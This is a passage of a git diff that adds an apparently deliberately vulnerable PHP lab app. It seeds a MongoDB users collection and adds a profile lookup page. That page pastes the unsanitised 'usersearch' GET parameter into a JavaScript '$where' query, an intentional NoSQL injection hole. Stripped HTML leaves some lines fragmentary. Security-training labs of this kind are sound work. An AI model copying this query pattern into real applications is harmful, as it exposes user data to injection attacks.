+$obj = array( "name"=>"Justin","username"=>"justin","email"=>"justin@sec642.org");
+$collection->insert($obj);
+$obj = array( "name"=>"Robin","username"=>"digininja","email"=>"digininja@sec642.org");
+$collection->insert($obj);
+$obj = array( "name"=>"Moses","username"=>"adrien","email"=>"moses@sec642.org");
+$collection->insert($obj);
+$obj = array( "name"=>"Rick","username"=>"rick","email"=>"rick@sec642.org");
+$collection->insert($obj);
+$obj = array( "name"=>"Nobody","username"=>"administrator","email"=>"root@sec642.org");
+$collection->insert($obj);
+
+// find everything in the collection
+$cursor = $collection->find();
+
+// iterate through the results
+foreach ($cursor as $obj) {
+ echo $obj["email"] . "
";
+}
+
+?>
\ No newline at end of file
diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php
new file mode 100644
index 0000000..11d1216
--- /dev/null
+++ b/vuln_apps/src/userdata.php
@@ -0,0 +1,48 @@
+
+
+
+ User Profile Lookup
+
+
+ appUserData;
+ $collection = $db->users;
+ $usersearch = $_GET['usersearch'];
+ $js = "function () { var query = '". $usersearch . "'; return this.username == query;}";
+ print $js;
+ print '
';
+
+ $cursor = $collection->find(array('$where' => $js));
+ echo $cursor->count() . ' user found.
';
+
+ foreach ($cursor as $obj) {
+ echo 'Name: ' . $obj['name'] . '
';
+ echo 'Username: ' . $obj['username'] . '
';
+ echo 'Email: ' . $obj['email'] . '
';
+ echo '
';
+ }
+
+ $conn->close();
+ } catch (MongoConnectionException $e) {
+ die('Error connecting to MongoDB server : ' . $e->getMessage());
+ } catch (MongoException $e) {
+ die('Error: ' . $e->getMessage());
+ }
+ }
+ ?>
+
+
+ Enter your username:
+
+
+
+
+
+